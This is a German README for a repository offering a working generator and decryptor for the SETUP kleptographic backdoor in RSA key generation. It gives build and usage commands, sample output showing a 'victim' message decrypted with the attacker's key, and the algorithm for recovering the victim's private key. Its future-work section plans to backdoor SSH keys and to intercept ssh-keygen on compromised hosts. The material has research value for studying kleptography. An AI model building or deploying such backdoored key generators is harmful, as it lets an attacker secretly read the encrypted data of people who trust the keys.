RSA-Backdoor-Generator

Dieses Repository enthält Code, um den Angriff „Secretly Embedded Trapdoor with Universal Protection (SETUP)“ auf die RSA-Schlüsselerzeugung zu reproduzieren, der von Young & Yung, 1996, vorgeschlagen wurde.
Angesichts des Potenzials dieses Angriffs sollte man Black-Box-Schlüsselerzeugungssystemen niemals vertrauen.

Referenzen: - Präsentation des Algorithmus - Originalarbeit (Volltext)

Verwendung

Erzeuge zunächst Ihre Angreifer-Schlüssel und generieren Sie anschließend die hintertürten Schlüssel.

# build
go build generator.go
go build decryptor.go

# (option) generate your (legit) RSA keys
openssl genrsa -out attacker_priv.pem 2048
openssl rsa -in attacker_priv.pem -pubout -out attacker_pub.pem

# generate backdoored keys
./generator -pk attacker_pub.pem

# output
------
[*] Generating 4096-bits SETUP...
    > This may take a while...
------

------
[*] Found parameters:
    > p bit length: 256
    > q bit length: 3840
    > n bit length: 4096 // final key length
    > Attempts needed: 542692
------

------
[*] Backdoored keys saved to:
    > Private key: out/victim_priv.pem
    > Public key:  out/victim_pub.pem
------

------
[*] Test with:
    > echo -n "hello world" | openssl pkeyutl -encrypt -inkey out/victim_pub.pem -pubin -out out/cipher.bin // encrypt with SETUP PK
    > ./decryptor -pk out/victim_pub.pem -sk <attacker_priv.pem> -c out/cipher.bin // decrypt with SK
------

Wenn das Opfer den erhaltenen Schlüsseln vertraut (die völlig normal aussehen und wie erwartet funktionieren), wird es sie verwenden, um einige Daten zu verschlüsseln, z. B.:

# encrypt
echo -n "SuperSecretSh1tttttt" | openssl pkeyutl -encrypt -inkey out/victim_pub.pem -pubin -out out/cipher.bin

# verify
echo out/cipher.bin | base64

Der Clou ist, dass der Angreifer die Nachricht mit dem öffentlichen Schlüssel des Opfers und seinem eigenen privaten Schlüssel entschlüsseln kann. Z. B.:

# decrypt
./decryptor -pk out/victim_pub.pem -sk attacker_priv.pem -c out/cipher.bin

# output
------
[*] Loading keys and ciphertext...
    > Loaded victim public key
    > Loaded attacker private key
    > Loaded ciphertext
------

------
[*] Deriving private key from SETUP...
    > PK bitsize: 2048
    > Found valid factorization using s1
    > Recovered p (bit length: 256)
    > Recovered q (bit length: 3840)
    > Recovered d (bit length: 4092)
------

--- DECRYPTED MESSAGE ---
 ��ϓ�f�~~P�k(���t%Tp��i/3qHvr��s        �x��f����){���\c�f�
�.���n�=y���
�R}��r_2���q�H>u�K��%EB�,�yNZ���5�1��:�>��%O�Y/�,��J$a���`��
                                      �ì�|��k&r��1�5H˚�+����U�/4p� ���֒9���#Gmծ����=�gfq��Pg,w�g)�E^���ͻ����-2�t�2-v
        �y�.�Ȟ�<0S�i8�w�+�\���D/��/���e���sf?18��l�����Э�Y�
�uk��D҃C�P�leS�<���Cy�oI�I�˴�O�B'
g;L9{b�o.���y.���+J���
2А�$�޶��WƇ�B���υk�D�SuperSecretSh1tttttt
-------------------------

Wie funktioniert es?

Wenn Sie die vollständigen Details dieses Angriffs erfahren möchten, schauen Sie sich die beiden Links in der Einleitung an. Ein Überblick auf hoher Ebene über diesen Angriff sieht wie folgt aus:

Normale RSA-Schlüsselerzeugung (Baseline)

Erzeuge zwei große zufällige Primzahlen p und q (je ≈1024 Bit für einen 2048‑Bit-Schlüssel).
Berechne n = p · q.
Wähle den öffentlichen Exponenten e (üblicherweise 2¹⁶+1).
Berechne d so, dass e · d ≡ 1 mod φ(n) gilt, mit φ(n) = (p–1)(q–1).
Öffentlicher Schlüssel: (n, e); Privater Schlüssel: d.
Verschlüsselung: c = mᵉ mod n; Entschlüsselung: m = cᵈ mod n.

Kleptografische (SETUP) RSA-Schlüsselerzeugung

Wähle eine 1024‑Bit-Primzahl s und berechne p = H(s) (wiederhole, bis p prim ist).
Verschlüssele s mit dem Schlüssel des Angreifers: c = sᴱ mod N.
Wähle ein zufälliges z.
Konstruiere q so, dass c || z = p · q + r für einen beliebigen Rest r gilt; versuche es erneut, wenn q nicht prim ist.
Berechne n = p · q, setze e normal und berechne d wie beim Standard-RSA.
Gib einen normal aussehenden öffentlichen Schlüssel (n, e) und den privaten Schlüssel d aus – aber mit einer versteckten Hintertür.

Wiederherstellung des privaten Schlüssels des Opfers durch den Angreifer

Nimm die obersten n/2 Bits von n als u (≈1024 Bits).
Definiere c₁ = u und c₂ = u + 1 (um einen möglichen Bitverlust bei der Einbettung von c||z zu berücksichtigen).
Entschlüssele mit dem privaten Schlüssel D des Angreifers:
- s₁ = c₁ᴰ mod N, s₂ = c₂ᴰ mod N.
Berechne Kandidaten-Primzahlen:
- p₁ = H(s₁), p₂ = H(s₂).
Berechne q₁ = n / p₁ und q₂ = n / p₂; die Division, die eine ganze Zahl ergibt, offenbart die wahren p und q.
Berechne d neu aus (p, q, e).
Der Angreifer erhält nun vollständig den privaten RSA-Schlüssel des Opfers.

Verbesserungen

Derzeit verwendet das Programm ProbablyPrime(), um zu prüfen, ob eine gegebene n eine Primzahl ist. ProbablyPrime führt n Miller-Rabin-Tests durch, um zu prüfen, ob x prim ist. Wenn es true zurückgibt, ist x mit einer Wahrscheinlichkeit von 1 - 1/4^n prim. Wenn es false zurückgibt, ist x nicht prim. Daher besteht eine Wahrscheinlichkeit ungleich null, dass die Backdoor-Erzeugung fehlschlägt (Q kann nicht gelöst werden). Führen Sie das Tool in diesem Fall einfach erneut aus.

Zukünftige Arbeiten

Unterstützung der folgenden Formate: ssh-rsa, ssh-dsa, ssh-ecdsa. SETUP ist für diese theoretisch möglich, ssh-ed25519 ist gegenüber SETUP resistent. Der private SSH-Schlüssel könnte dann aus öffentlichen Schlüsseln abgeleitet werden, die mit ssh-keyscan gesammelt wurden. Ich plane außerdem, ein kleines Werkzeug bereitzustellen, das ssh-keygen auf kompromittierten Hosts abfängt, um automatisch weitere Schlüssel mit einer Backdoor zu versehen ... TBC.

RSA-Backdoor

Beliebteste